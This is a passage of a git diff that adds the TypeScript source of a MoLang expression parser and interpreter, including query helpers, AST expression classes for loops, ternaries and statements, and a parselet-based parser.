console.error('"query.in_range": value, min and max must be numbers') + return false + } + + return value >= min && value <= max +} + +const all = (mustMatch: unknown, ...values: unknown[]) => + values.every((v) => v === mustMatch) + +const any = (mustMatch: unknown, ...values: unknown[]) => + values.some((v) => v === mustMatch) + +export const standardQueries = { + 'query.in_range': inRange, + 'query.all': all, + 'query.any': any, +} diff --git a/packages/molang/src/env/standardEnv.ts b/packages/molang/src/env/standardEnv.ts new file mode 100644 index 00000000..3e722f17 --- /dev/null +++ b/packages/molang/src/env/standardEnv.ts @@ -0,0 +1,7 @@ +import { MoLangMathLib } from './math' +import { standardQueries } from './queries' + +export const standardEnv = (useRadians: boolean) => ({ + ...MoLangMathLib(useRadians), + ...standardQueries, +}) diff --git a/packages/molang/src/index.ts b/packages/molang/src/index.ts new file mode 100644 index 00000000..48d1a756 --- /dev/null +++ b/packages/molang/src/index.ts @@ -0,0 +1 @@ +export * from './main' diff --git a/packages/molang/src/main.ts b/packages/molang/src/main.ts new file mode 100644 index 00000000..c6c5b5ca --- /dev/null +++ b/packages/molang/src/main.ts @@ -0,0 +1,91 @@ +import { TVariableHandler } from './env/env' +import { Tokenizer } from './tokenizer/Tokenizer' + +/** + * How the parser and interpreter should handle your MoLang expression + */ + +export interface IParserConfig { + /** + * Whether a cache should be used to speed up executing MoLang. + * The cache saves an AST for every parsed expression. + * This allows us to skip the tokenization & parsing step before executing known MoLang expressions + * + * Default: true + */ + useCache: boolean + /** + * How many expressions can be cached. After reaching `maxCacheSize`, the whole cache is cleared automatically. + * Can be set to `Infinity` to remove the limit completely + * + * Default: 256 + */ + maxCacheSize: number + /** + * The optimizer can drastically speed up parsing & executing MoLang. + * It enables skipping of unreachable statements, pre-evaluating static expressions and skipping of statements with no effect + * when used together with the `useAgressiveStaticOptimizer` option + * + * Default: true + */ + useOptimizer: boolean + /** + * Skip execution of statements with no effect + * when used together with the `useOptimizer` option + * + * Default: true + */ + useAgressiveStaticOptimizer: boolean + + /** + * This options makes early return statements skip all parsing work completely + * + * Default: true + */ + earlyReturnsSkipParsing: boolean + /** + * This options makes early return statements skip all tokenization work completely if earlyReturnsSkipParsing is set to true + * + * Default: true + */ + earlyReturnsSkipTokenization: boolean + /** + * Tokenizer to use for tokenizing the expression + */ + tokenizer: Tokenizer + /** + * Create expression instances for brackets ("()", "{}") + * + * This should only be set to true if you want to use the .toString() method of an expression + * or you want to iterate over the whole AST + * + * Default: false + */ + keepGroups: boolean + + /** + * Whether to convert undefined variables to "0" + * + * Default: false + */ + convertUndefined: boolean + + /** + * Use radians instead of degrees for trigonometric functions + * + * Default: false + */ + useRadians: boolean + + /** + * Resolve undefined variables + */ + variableHandler: TVariableHandler +} + +export { Tokenizer } from './tokenizer/Tokenizer' +export { IExpression } from './parser/expression' +export { CustomMoLang } from './custom/main' +export { MoLang } from './MoLang' +export * as expressions from './parser/expressions/index' +export { Context } from './env/env' diff --git a/packages/molang/src/parser/expression.ts b/packages/molang/src/parser/expression.ts new file mode 100644 index 00000000..93bb285f --- /dev/null +++ b/packages/molang/src/parser/expression.ts @@ -0,0 +1,57 @@ +/** + * Interface that describes an AST Expression + */ +export interface IExpression { + readonly type: string + readonly isReturn?: boolean + readonly isBreak?: boolean + readonly isContinue?: boolean + readonly allExpressions: IExpression[] + + setFunctionCall?: (value: boolean) => void + setPointer?: (value: unknown) => void + setExpressionAt(index: number, expr: IExpression): void + eval(): unknown + isStatic(): boolean + walk(cb: TIterateCallback): IExpression + iterate(cb: TIterateCallback, visited: Set): void +} + +export abstract class Expression implements IExpression { + public abstract readonly type: string + + abstract eval(): unknown + abstract isStatic(): boolean + + toString() { + return `${this.eval()}` + } + + abstract allExpressions: IExpression[] + abstract setExpressionAt(index: number, expr: IExpression): void + + walk(cb: TIterateCallback, visited = new Set()): IExpression { + let expr = cb(this) ?? this + + expr.iterate(cb, visited) + + return expr + } + iterate(cb: TIterateCallback, visited: Set) { + for (let i = 0; i < this.allExpressions.length; i++) { + const originalExpr = this.allExpressions[i] + if (visited.has(originalExpr)) continue + else visited.add(originalExpr) + + const expr = cb(originalExpr) ?? originalExpr + + if (expr !== originalExpr && visited.has(expr)) continue + else visited.add(expr) + + this.setExpressionAt(i, expr) + expr.iterate(cb, visited) + } + } +} + +export type TIterateCallback = (expr: IExpression) => IExpression | undefined diff --git a/packages/molang/src/parser/expressions/arrayAccess.ts b/packages/molang/src/parser/expressions/arrayAccess.ts new file mode 100644 index 00000000..6921dcd8 --- /dev/null +++ b/packages/molang/src/parser/expressions/arrayAccess.ts @@ -0,0 +1,32 @@ +import { Expression, IExpression } from '../expression' + +export class ArrayAccessExpression extends Expression { + type = 'ArrayAccessExpression' + constructor(protected name: IExpression, protected lookup: IExpression) { + super() + } + + get allExpressions() { + return [this.name, this.lookup] + } + setExpressionAt(index: number, expr: IExpression) { + if (index === 0) this.name = expr + else if (index === 1) this.lookup = expr + } + + isStatic() { + return false + } + + setPointer(value: unknown) { + ;(this.name.eval())[this.lookup.eval()] = value + } + + eval() { + return (this.name.eval())[this.lookup.eval()] + } + + toString() { + return `${this.name.toString()}[${this.lookup.toString()}]` + } +} diff --git a/packages/molang/src/parser/expressions/boolean.ts b/packages/molang/src/parser/expressions/boolean.ts new file mode 100644 index 00000000..a4d14a4a --- /dev/null +++ b/packages/molang/src/parser/expressions/boolean.ts @@ -0,0 +1,21 @@ +import { Expression } from '../expression' + +export class BooleanExpression extends Expression { + type = 'BooleanExpression' + constructor(protected value: boolean) { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return true + } + + eval() { + return this.value + } +} diff --git a/packages/molang/src/parser/expressions/break.ts b/packages/molang/src/parser/expressions/break.ts new file mode 100644 index 00000000..abfd4b47 --- /dev/null +++ b/packages/molang/src/parser/expressions/break.ts @@ -0,0 +1,26 @@ +import { Expression } from '../expression' + +export class BreakExpression extends Expression { + type = 'BreakExpression' + isBreak = true + + constructor() { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return false + } + + eval() { + return 0 + } + isString() { + return 'break' + } +} diff --git a/packages/molang/src/parser/expressions/contextSwitch.ts b/packages/molang/src/parser/expressions/contextSwitch.ts new file mode 100644 index 00000000..b436372c --- /dev/null +++ b/packages/molang/src/parser/expressions/contextSwitch.ts @@ -0,0 +1,48 @@ +import { ExecutionEnvironment } from '../../env/env' +import { Expression, IExpression } from '../expression' +import { NameExpression } from './name' + +export class ContextSwitchExpression extends Expression { + type = 'NameExpression' + + constructor( + protected leftExpr: NameExpression, + protected rightExpr: NameExpression + ) { + super() + } + + get allExpressions() { + return [this.leftExpr, this.rightExpr] + } + setExpressionAt(index: number, expr: IExpression) { + if (!(expr instanceof NameExpression)) + throw new Error( + `Cannot use context switch operator "->" on ${expr.type}` + ) + + if (index === 0) this.leftExpr = expr + else if (index === 1) this.rightExpr = expr + } + + isStatic() { + return false + } + + eval() { + const context = this.leftExpr.eval() + if (typeof context !== 'object') return 0 + + this.rightExpr.setExecutionEnv( + new ExecutionEnvironment( + context, + this.rightExpr.executionEnv.config + ) + ) + return this.rightExpr.eval() + } + + toString() { + return `${this.leftExpr.toString()}->${this.rightExpr.toString()}` + } +} diff --git a/packages/molang/src/parser/expressions/continue.ts b/packages/molang/src/parser/expressions/continue.ts new file mode 100644 index 00000000..c8b69695 --- /dev/null +++ b/packages/molang/src/parser/expressions/continue.ts @@ -0,0 +1,26 @@ +import { Expression } from '../expression' + +export class ContinueExpression extends Expression { + type = 'ContinueExpression' + isContinue = true + + constructor() { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return false + } + + eval() { + return 0 + } + toString() { + return 'continue' + } +} diff --git a/packages/molang/src/parser/expressions/forEach.ts b/packages/molang/src/parser/expressions/forEach.ts new file mode 100644 index 00000000..964e4603 --- /dev/null +++ b/packages/molang/src/parser/expressions/forEach.ts @@ -0,0 +1,63 @@ +import { Expression, IExpression } from '../expression' + +export class ForEachExpression extends Expression { + type = 'ForEachExpression' + + constructor( + protected variable: IExpression, + protected arrayExpression: IExpression, + protected expression: IExpression + ) { + super() + if (!this.variable.setPointer) + throw new Error( + `First for_each() argument must be a variable, received "${typeof this.variable.eval()}"` + ) + } + + get isReturn() { + return this.expression.isReturn + } + get allExpressions() { + return [this.variable, this.arrayExpression, this.expression] + } + setExpressionAt(index: number, expr: IExpression) { + if (index === 0) this.variable = expr + else if (index === 1) this.arrayExpression = expr + else if (index === 2) this.expression = expr + } + + isStatic() { + return ( + this.variable.isStatic() && + this.arrayExpression.isStatic() && + this.expression.isStatic() + ) + } + + eval() { + const array = this.arrayExpression.eval() + if (!Array.isArray(array)) + throw new Error( + `Second for_each() argument must be an array, received "${typeof array}"` + ) + + let i = 0 + while (i < array.length) { + // Error detection for this.variable is part of the constructor + this.variable.setPointer?.(array[i++]) + + const res = this.expression.eval() + + if (this.expression.isBreak) break + else if (this.expression.isContinue) continue + else if (this.expression.isReturn) return res + } + + return 0 + } + + toString() { + return `loop(${this.variable.toString()},${this.arrayExpression.toString()},${this.expression.toString()})` + } +} diff --git a/packages/molang/src/parser/expressions/function.ts b/packages/molang/src/parser/expressions/function.ts new file mode 100644 index 00000000..ab3bdfe1 --- /dev/null +++ b/packages/molang/src/parser/expressions/function.ts @@ -0,0 +1,46 @@ +import { NameExpression } from './name' +import { Expression, IExpression } from '../expression' + +export class FunctionExpression extends Expression { + type = 'FunctionExpression' + + constructor(protected name: IExpression, protected args: IExpression[]) { + super() + } + + get allExpressions() { + return [this.name, ...this.args] + } + setExpressionAt(index: number, expr: Expression) { + if (index === 0) this.name = expr + else if (index > 0) this.args[index - 1] = expr + } + + isStatic() { + return false + } + + eval() { + const args: unknown[] = [] + let i = 0 + while (i < this.args.length) args.push(this.args[i++].eval()) + + const func = <(...args: unknown[]) => unknown>this.name.eval() + if (typeof func !== 'function') + throw new Error( + `${(this.name).toString()} is not callable!` + ) + return func(...args) + } + + toString() { + let str = `${this.name.toString()}(` + for (let i = 0; i < this.args.length; i++) { + str += `${this.args[i].toString()}${ + i + 1 < this.args.length ? ',' : '' + }` + } + + return `${str})` + } +} diff --git a/packages/molang/src/parser/expressions/genericOperator.ts b/packages/molang/src/parser/expressions/genericOperator.ts new file mode 100644 index 00000000..d0464708 --- /dev/null +++ b/packages/molang/src/parser/expressions/genericOperator.ts @@ -0,0 +1,37 @@ +import { Expression, IExpression } from '../expression' + +export class GenericOperatorExpression extends Expression { + type = 'GenericOperatorExpression' + + constructor( + protected left: IExpression, + protected right: IExpression, + protected operator: string, + protected evalHelper: ( + leftExpression: IExpression, + rightExpression: IExpression + ) => unknown + ) { + super() + } + + get allExpressions() { + return [this.left, this.right] + } + setExpressionAt(index: number, expr: IExpression) { + if (index === 0) this.left = expr + else if (index === 1) this.right = expr + } + + isStatic() { + return this.left.isStatic() && this.right.isStatic() + } + + eval() { + return this.evalHelper(this.left, this.right) + } + + toString() { + return `${this.left.toString()}${this.operator}${this.right.toString()}` + } +} diff --git a/packages/molang/src/parser/expressions/group.ts b/packages/molang/src/parser/expressions/group.ts new file mode 100644 index 00000000..734beaac --- /dev/null +++ b/packages/molang/src/parser/expressions/group.ts @@ -0,0 +1,38 @@ +import { Expression, IExpression } from '../expression' + +export class GroupExpression extends Expression { + type = 'GroupExpression' + + constructor(protected expression: IExpression, protected brackets: string) { + super() + } + + get allExpressions() { + return [this.expression] + } + setExpressionAt(_: number, expr: IExpression) { + this.expression = expr + } + + isStatic() { + return this.expression.isStatic() + } + get isReturn() { + return this.expression.isReturn + } + get isBreak() { + return this.expression.isBreak + } + get isContinue() { + return this.expression.isContinue + } + + eval() { + return this.expression.eval() + } + toString() { + return `${this.brackets[0]}${this.expression.toString()}${ + this.brackets[1] + }` + } +} diff --git a/packages/molang/src/parser/expressions/index.ts b/packages/molang/src/parser/expressions/index.ts new file mode 100644 index 00000000..e83ea1c5 --- /dev/null +++ b/packages/molang/src/parser/expressions/index.ts @@ -0,0 +1,19 @@ +export { ArrayAccessExpression } from './arrayAccess' +export { BooleanExpression } from './boolean' +export { BreakExpression } from './break' +export { ContinueExpression } from './continue' +export { ForEachExpression } from './forEach' +export { FunctionExpression } from './function' +export { GenericOperatorExpression } from './genericOperator' +export { GroupExpression } from './group' +export { LoopExpression } from './loop' +export { NameExpression } from './name' +export { NumberExpression } from './number' +export { PostfixExpression } from './postfix' +export { PrefixExpression } from './prefix' +export { ReturnExpression } from './return' +export { StatementExpression } from './statement' +export { StaticExpression } from './static' +export { StringExpression } from './string' +export { TernaryExpression } from './ternary' +export { VoidExpression } from './void' diff --git a/packages/molang/src/parser/expressions/loop.ts b/packages/molang/src/parser/expressions/loop.ts new file mode 100644 index 00000000..0ef7485f --- /dev/null +++ b/packages/molang/src/parser/expressions/loop.ts @@ -0,0 +1,56 @@ +import { Expression, IExpression } from '../expression' + +export class LoopExpression extends Expression { + type = 'LoopExpression' + + constructor( + protected count: IExpression, + protected expression: IExpression + ) { + super() + } + + get allExpressions() { + return [this.count, this.expression] + } + setExpressionAt(index: number, expr: IExpression) { + if (index === 0) this.count = expr + else if (index === 1) this.expression = expr + } + + get isReturn() { + return this.expression.isReturn + } + + isStatic() { + return this.count.isStatic() && this.expression.isStatic() + } + + eval() { + const repeatCount = Number(this.count.eval()) + if (Number.isNaN(repeatCount)) + throw new Error( + `First loop() argument must be of type number, received "${typeof this.count.eval()}"` + ) + if (repeatCount > 1024) + throw new Error( + `Cannot loop more than 1024x times, received "${repeatCount}"` + ) + + let i = 0 + while (i < repeatCount) { + i++ + const res = this.expression.eval() + + if (this.expression.isBreak) break + else if (this.expression.isContinue) continue + else if (this.expression.isReturn) return res + } + + return 0 + } + + toString() { + return `loop(${this.count.toString()},${this.expression.toString()})` + } +} diff --git a/packages/molang/src/parser/expressions/name.ts b/packages/molang/src/parser/expressions/name.ts new file mode 100644 index 00000000..efd99f5e --- /dev/null +++ b/packages/molang/src/parser/expressions/name.ts @@ -0,0 +1,47 @@ +import { ExecutionEnvironment } from '../../env/env' +import { Expression } from '../expression' + +export class NameExpression extends Expression { + type = 'NameExpression' + + constructor( + public executionEnv: ExecutionEnvironment, + protected name: string, + protected isFunctionCall = false + ) { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return false + } + + setPointer(value: unknown) { + this.executionEnv.setAt(this.name, value) + } + + setFunctionCall(value = true) { + this.isFunctionCall = value + } + setName(name: string) { + this.name = name + } + setExecutionEnv(executionEnv: ExecutionEnvironment) { + this.executionEnv = executionEnv + } + + eval() { + const value = this.executionEnv.getFrom(this.name) + if (!this.isFunctionCall && typeof value === 'function') return value() + return value + } + + toString() { + return this.name + } +} diff --git a/packages/molang/src/parser/expressions/number.ts b/packages/molang/src/parser/expressions/number.ts new file mode 100644 index 00000000..5164df5c --- /dev/null +++ b/packages/molang/src/parser/expressions/number.ts @@ -0,0 +1,25 @@ +import { Expression } from '../expression' + +export class NumberExpression extends Expression { + type = 'NumberExpression' + + constructor(protected value: number) { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return true + } + + eval() { + return this.value + } + toString() { + return '' + this.value + } +} diff --git a/packages/molang/src/parser/expressions/postfix.ts b/packages/molang/src/parser/expressions/postfix.ts new file mode 100644 index 00000000..c023e621 --- /dev/null +++ b/packages/molang/src/parser/expressions/postfix.ts @@ -0,0 +1,32 @@ +import { TTokenType } from '../../tokenizer/token' +import { Expression, IExpression } from '../expression' + +export class PostfixExpression extends Expression { + type = 'PostfixExpression' + + constructor( + protected expression: IExpression, + protected tokenType: TTokenType + ) { + super() + } + + get allExpressions() { + return [this.expression] + } + setExpressionAt(_: number, expr: IExpression) { + this.expression = expr + } + + isStatic() { + return this.expression.isStatic() + } + + eval() { + switch (this.tokenType) { + case 'X': { + // DO SOMETHING + } + } + } +} diff --git a/packages/molang/src/parser/expressions/prefix.ts b/packages/molang/src/parser/expressions/prefix.ts new file mode 100644 index 00000000..02655bb2 --- /dev/null +++ b/packages/molang/src/parser/expressions/prefix.ts @@ -0,0 +1,57 @@ +import { TTokenType } from '../../tokenizer/token' +import { Expression, IExpression } from '../expression' + +export class PrefixExpression extends Expression { + type = 'PrefixExpression' + + constructor( + protected tokenType: TTokenType, + protected expression: IExpression + ) { + super() + } + + get allExpressions() { + return [this.expression] + } + setExpressionAt(_: number, expr: IExpression) { + this.expression = expr + } + + isStatic() { + return this.expression.isStatic() + } + + eval() { + const value = this.expression.eval() + + if (typeof value !== 'number') + throw new Error( + `Cannot use "${ + this.tokenType + }" operator in front of ${typeof value} "${value}"` + ) + + switch (this.tokenType) { + case 'MINUS': { + return -value + } + case 'BANG': { + return !value + } + } + } + + toString() { + switch (this.tokenType) { + case 'MINUS': { + return `-${this.expression.toString()}` + } + case 'BANG': { + return `!${this.expression.toString()}` + } + } + + throw new Error(`Unknown prefix operator: "${this.tokenType}"`) + } +} diff --git a/packages/molang/src/parser/expressions/return.ts b/packages/molang/src/parser/expressions/return.ts new file mode 100644 index 00000000..0ec1cff4 --- /dev/null +++ b/packages/molang/src/parser/expressions/return.ts @@ -0,0 +1,29 @@ +import { Expression, IExpression } from '../expression' + +export class ReturnExpression extends Expression { + type = 'ReturnExpression' + isReturn = true + + constructor(protected expression: IExpression) { + super() + } + + get allExpressions() { + return [this.expression] + } + setExpressionAt(_: number, expr: IExpression) { + this.expression = expr + } + + isStatic() { + return false + } + + eval() { + return this.expression.eval() + } + + toString() { + return `return ${this.expression.toString()}` + } +} diff --git a/packages/molang/src/parser/expressions/statement.ts b/packages/molang/src/parser/expressions/statement.ts new file mode 100644 index 00000000..1a8ad918 --- /dev/null +++ b/packages/molang/src/parser/expressions/statement.ts @@ -0,0 +1,102 @@ +import { Expression, IExpression } from '../expression' +import { StaticExpression } from './static' +import { VoidExpression } from './void' + +export class StatementExpression extends Expression { + type = 'StatementExpression' + protected didReturn?: boolean = undefined + protected wasLoopBroken = false + protected wasLoopContinued = false + + constructor(protected expressions: IExpression[]) { + super() + } + + get allExpressions() { + return this.expressions + } + setExpressionAt(index: number, expr: IExpression) { + this.expressions[index] = expr + } + + get isReturn() { + if (this.didReturn !== undefined) return this.didReturn + + // This breaks scope vs. statement parsing for some reason + let i = 0 + while (i < this.expressions.length) { + const expr = this.expressions[i] + + if (expr.isBreak) return false + if (expr.isContinue) return false + if (expr.isReturn) { + this.didReturn = true + return true + } + i++ + } + this.didReturn = false + return false + } + + get isBreak() { + if (this.wasLoopBroken) { + this.wasLoopBroken = false + return true + } + return false + } + get isContinue() { + if (this.wasLoopContinued) { + this.wasLoopContinued = false + return true + } + return false + } + + isStatic() { + let i = 0 + while (i < this.expressions.length) { + if (!this.expressions[i].isStatic()) return false + i++ + } + return true + } + + eval() { + this.didReturn = false + this.wasLoopBroken = false + this.wasLoopContinued = false + let i = 0 + while (i < this.expressions.length) { + let res = this.expressions[i].eval() + + if (this.expressions[i].isReturn) { + this.didReturn = true + return res + } else if (this.expressions[i].isContinue) { + this.wasLoopContinued = true + return + } else if (this.expressions[i].isBreak) { + this.wasLoopBroken = true + return + } + i++ + } + return 0 + } + + toString() { + let str = '' + for (const expr of this.expressions) { + if ( + expr instanceof VoidExpression || + (expr instanceof StaticExpression && !expr.isReturn) + ) + continue + str += `${expr.toString()};` + } + + return str + } +} diff --git a/packages/molang/src/parser/expressions/static.ts b/packages/molang/src/parser/expressions/static.ts new file mode 100644 index 00000000..41fa5f35 --- /dev/null +++ b/packages/molang/src/parser/expressions/static.ts @@ -0,0 +1,28 @@ +import { Expression } from '../expression' + +export class StaticExpression extends Expression { + type = 'StaticExpression' + constructor(protected value: unknown, public readonly isReturn = false) { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return true + } + + eval() { + return this.value + } + toString() { + let val = this.value + if (typeof val === 'string') val = `'${val}'` + + if (this.isReturn) return `return ${val}` + return '' + val + } +} diff --git a/packages/molang/src/parser/expressions/string.ts b/packages/molang/src/parser/expressions/string.ts new file mode 100644 index 00000000..4fc03539 --- /dev/null +++ b/packages/molang/src/parser/expressions/string.ts @@ -0,0 +1,26 @@ +import { Expression } from '../expression' + +export class StringExpression extends Expression { + type = 'StringExpression' + + constructor(protected name: string) { + super() + } + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return true + } + + eval() { + return this.name.substring(1, this.name.length - 1) + } + + toString() { + return this.name + } +} diff --git a/packages/molang/src/parser/expressions/ternary.ts b/packages/molang/src/parser/expressions/ternary.ts new file mode 100644 index 00000000..b812bb31 --- /dev/null +++ b/packages/molang/src/parser/expressions/ternary.ts @@ -0,0 +1,79 @@ +import { Expression, IExpression } from '../expression' +import { VoidExpression } from './void' + +export class TernaryExpression extends Expression { + type = 'TernaryExpression' + protected leftResult: unknown + + constructor( + protected leftExpression: IExpression, + protected thenExpression: IExpression, + protected elseExpression: IExpression + ) { + super() + } + + get allExpressions() { + if (this.leftExpression.isStatic()) + return [ + this.leftExpression, + this.leftExpression.eval() + ? this.thenExpression + : this.elseExpression, + ] + return [this.leftExpression, this.thenExpression, this.elseExpression] + } + setExpressionAt(index: number, expr: IExpression) { + if (index === 0) this.leftExpression = expr + else if (index === 1) this.thenExpression = expr + else if (index === 2) this.elseExpression = expr + } + + get isReturn() { + if (this.leftResult === undefined) + return this.thenExpression.isReturn && this.elseExpression.isReturn + return this.leftResult + ? this.thenExpression.isReturn + : this.elseExpression.isReturn + } + get hasReturn() { + return this.thenExpression.isReturn || this.elseExpression.isReturn + } + get isContinue() { + if (this.leftResult === undefined) + return ( + this.thenExpression.isContinue && this.elseExpression.isContinue + ) + return this.leftResult + ? this.thenExpression.isContinue + : this.elseExpression.isContinue + } + get isBreak() { + if (this.leftResult === undefined) + return this.thenExpression.isBreak && this.elseExpression.isBreak + return this.leftResult + ? this.thenExpression.isBreak + : this.elseExpression.isBreak + } + + isStatic() { + return ( + this.leftExpression.isStatic() && + this.thenExpression.isStatic() && + this.elseExpression.isStatic() + ) + } + + eval() { + this.leftResult = this.leftExpression.eval() + return this.leftResult + ? this.thenExpression.eval() + : this.elseExpression.eval() + } + + toString() { + if (this.elseExpression instanceof VoidExpression) + return `${this.leftExpression.toString()}?${this.thenExpression.toString()}` + return `${this.leftExpression.toString()}?${this.thenExpression.toString()}:${this.elseExpression.toString()}` + } +} diff --git a/packages/molang/src/parser/expressions/void.ts b/packages/molang/src/parser/expressions/void.ts new file mode 100644 index 00000000..fba2003d --- /dev/null +++ b/packages/molang/src/parser/expressions/void.ts @@ -0,0 +1,21 @@ +import { Expression } from '../expression' + +export class VoidExpression extends Expression { + type = 'VoidExpression' + + get allExpressions() { + return [] + } + setExpressionAt() {} + + isStatic() { + return true + } + + eval() { + return 0 + } + toString() { + return '' + } +} diff --git a/packages/molang/src/parser/molang.ts b/packages/molang/src/parser/molang.ts new file mode 100644 index 00000000..4936d1aa --- /dev/null +++ b/packages/molang/src/parser/molang.ts @@ -0,0 +1,88 @@ +import { Parser } from './parse' +import { BinaryOperator } from './parselets/binaryOperator' +import { EPrecedence } from './precedence' +import { PrefixOperator } from './parselets/prefix' +import { NumberParselet } from './parselets/number' +import { NameParselet } from './parselets/name' +import { GroupParselet } from './parselets/groupParselet' +import { ReturnParselet } from './parselets/return' +import { StatementParselet } from './parselets/statement' +import { StringParselet } from './parselets/string' +import { FunctionParselet } from './parselets/function' +import { ArrayAccessParselet } from './parselets/arrayAccess' +import { ScopeParselet } from './parselets/scope' +import { LoopParselet } from './parselets/loop' +import { ForEachParselet } from './parselets/forEach' +import { ContinueParselet } from './parselets/continue' +import { BreakParselet } from './parselets/break' +import { BooleanParselet } from './parselets/boolean' +import { IParserConfig } from '../main' +import { EqualsOperator } from './parselets/equals' +import { NotEqualsOperator } from './parselets/notEquals' +import { AndOperator } from './parselets/andOperator' +import { OrOperator } from './parselets/orOperator' +import { SmallerOperator } from './parselets/smallerOperator' +import { GreaterOperator } from './parselets/greaterOperator' +import { QuestionOperator } from './parselets/questionOperator' + +export class MoLangParser extends Parser { + constructor(config: Partial) { + super(config) + + //Special parselets + this.registerPrefix('NAME', new NameParselet()) + this.registerPrefix('STRING', new StringParselet()) + this.registerPrefix('NUMBER', new NumberParselet()) + this.registerPrefix('TRUE', new BooleanParselet(EPrecedence.PREFIX)) + this.registerPrefix('FALSE', new BooleanParselet(EPrecedence.PREFIX)) + this.registerPrefix('RETURN', new ReturnParselet()) + this.registerPrefix('CONTINUE', new ContinueParselet()) + this.registerPrefix('BREAK', new BreakParselet()) + this.registerPrefix('LOOP', new LoopParselet()) + this.registerPrefix('FOR_EACH', new ForEachParselet()) + this.registerInfix( + 'QUESTION', + new QuestionOperator(EPrecedence.CONDITIONAL) + ) + this.registerPrefix('LEFT_PARENT', new GroupParselet()) + this.registerInfix( + 'LEFT_PARENT', + new FunctionParselet(EPrecedence.FUNCTION) + ) + this.registerInfix( + 'ARRAY_LEFT', + new ArrayAccessParselet(EPrecedence.ARRAY_ACCESS) + ) + this.registerPrefix('CURLY_LEFT', new ScopeParselet(EPrecedence.SCOPE)) + this.registerInfix( + 'SEMICOLON', + new StatementParselet(EPrecedence.STATEMENT) + ) + + //Prefix parselets + this.registerPrefix('MINUS', new PrefixOperator(EPrecedence.PREFIX)) + this.registerPrefix('BANG', new PrefixOperator(EPrecedence.PREFIX)) + + //Postfix parselets + //Nothing here yet + + //Infix parselets + this.registerInfix('PLUS', new BinaryOperator(EPrecedence.SUM)) + this.registerInfix('MINUS', new BinaryOperator(EPrecedence.SUM)) + this.registerInfix('ASTERISK', new BinaryOperator(EPrecedence.PRODUCT)) + this.registerInfix('SLASH', new BinaryOperator(EPrecedence.PRODUCT)) + this.registerInfix( + 'EQUALS', + new EqualsOperator(EPrecedence.EQUALS_COMPARE) + ) + this.registerInfix( + 'BANG', + new NotEqualsOperator(EPrecedence.EQUALS_COMPARE) + ) + this.registerInfix('GREATER', new GreaterOperator(EPrecedence.COMPARE)) + this.registerInfix('SMALLER', new SmallerOperator(EPrecedence.COMPARE)) + this.registerInfix('AND', new AndOperator(EPrecedence.AND)) + this.registerInfix('OR', new OrOperator(EPrecedence.OR)) + this.registerInfix('ASSIGN', new BinaryOperator(EPrecedence.ASSIGNMENT)) + } +} diff --git a/packages/molang/src/parser/parse.ts b/packages/molang/src/parser/parse.ts new file mode 100644 index 00000000..2ebc865e --- /dev/null +++ b/packages/molang/src/parser/parse.ts @@ -0,0 +1,118 @@ +import { Tokenizer } from '../tokenizer/Tokenizer' +import { TTokenType, Token } from '../tokenizer/token' +import { IPrefixParselet } from './parselets/prefix' +import { IInfixParselet } from './parselets/infix' +import { IExpression } from './expression' +import { ExecutionEnvironment } from '../env/env' +import { IParserConfig } from '../main' +import { VoidExpression } from './expressions/void' + +export class Parser { + protected prefixParselets = new Map() + protected infixParselets = new Map() + protected readTokens: Token[] = [] + protected tokenIterator = new Tokenizer() + executionEnv!: ExecutionEnvironment + + constructor(public config: Partial) {} + + updateConfig(config: Partial) { + this.config = config + } + + init(expression: string) { + this.tokenIterator.init(expression) + this.readTokens = [] + } + setTokenizer(tokenizer: Tokenizer) { + this.tokenIterator = tokenizer + } + setExecutionEnvironment(executionEnv: ExecutionEnvironment) { + this.executionEnv = executionEnv + } + + parseExpression(precedence = 0): IExpression { + let token = this.consume() + if (token.getType() === 'EOF') return new VoidExpression() + + const prefix = this.prefixParselets.get(token.getType()) + if (!prefix) { + throw new Error( + `Cannot parse ${token.getType()} expression "${token.getType()}"` + ) + } + + let expressionLeft = prefix.parse(this, token) + return this.parseInfixExpression(expressionLeft, precedence) + } + + parseInfixExpression(expressionLeft: IExpression, precedence = 0) { + let token + + while (this.getPrecedence() > precedence) { + token = this.consume() + let tokenType = token.getType() + if (tokenType === 'EQUALS' && !this.match('EQUALS')) { + tokenType = 'ASSIGN' + } + + const infix = this.infixParselets.get(tokenType) + if (!infix) + throw new Error(`Unknown infix parselet: "${tokenType}"`) + expressionLeft = infix.parse(this, expressionLeft, token) + } + + return expressionLeft + } + + getPrecedence() { + const parselet = this.infixParselets.get(this.lookAhead(0).getType()) + return parselet?.precedence ?? 0 + } + + consume(expected?: TTokenType) { + //Sets the lastLineNumber & startColumn before consuming next token + //Used for getting the exact location an error occurs + // this.tokenIterator.step() + + const token = this.lookAhead(0) + + if (expected && token.getType() !== expected) { + throw new Error( + `Expected token "${expected}" and found "${token.getType()}"` + ) + } + + this.readTokens.shift()! + return token + } + + match(expected: TTokenType, consume = true) { + const token = this.lookAhead(0) + if (token.getType() !== expected) return false + + if (consume) this.consume() + return true + } + + lookAhead(distance: number) { + while (distance >= this.readTokens.length) + this.readTokens.push(this.tokenIterator.next()) + + return this.readTokens[distance] + } + + registerInfix(tokenType: TTokenType, infixParselet: IInfixParselet) { + this.infixParselets.set(tokenType, infixParselet) + } + registerPrefix(tokenType: TTokenType, prefixParselet: IPrefixParselet) { + this.prefixParselets.set(tokenType, prefixParselet) + } + + getInfix(tokenType: TTokenType) { + return this.infixParselets.get(tokenType) + } + getPrefix(tokenType: TTokenType) { + return this.prefixParselets.get(tokenType) + } +} diff --git a/packages/molang/src/parser/parselets/andOperator.ts b/packages/molang/src/parser/parselets/andOperator.ts new file mode 100644 index 00000000..d161c12a --- /dev/null +++ b/packages/molang/src/parser/parselets/andOperator.ts @@ -0,0 +1,21 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' + +export class AndOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + if (parser.match('AND')) + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), 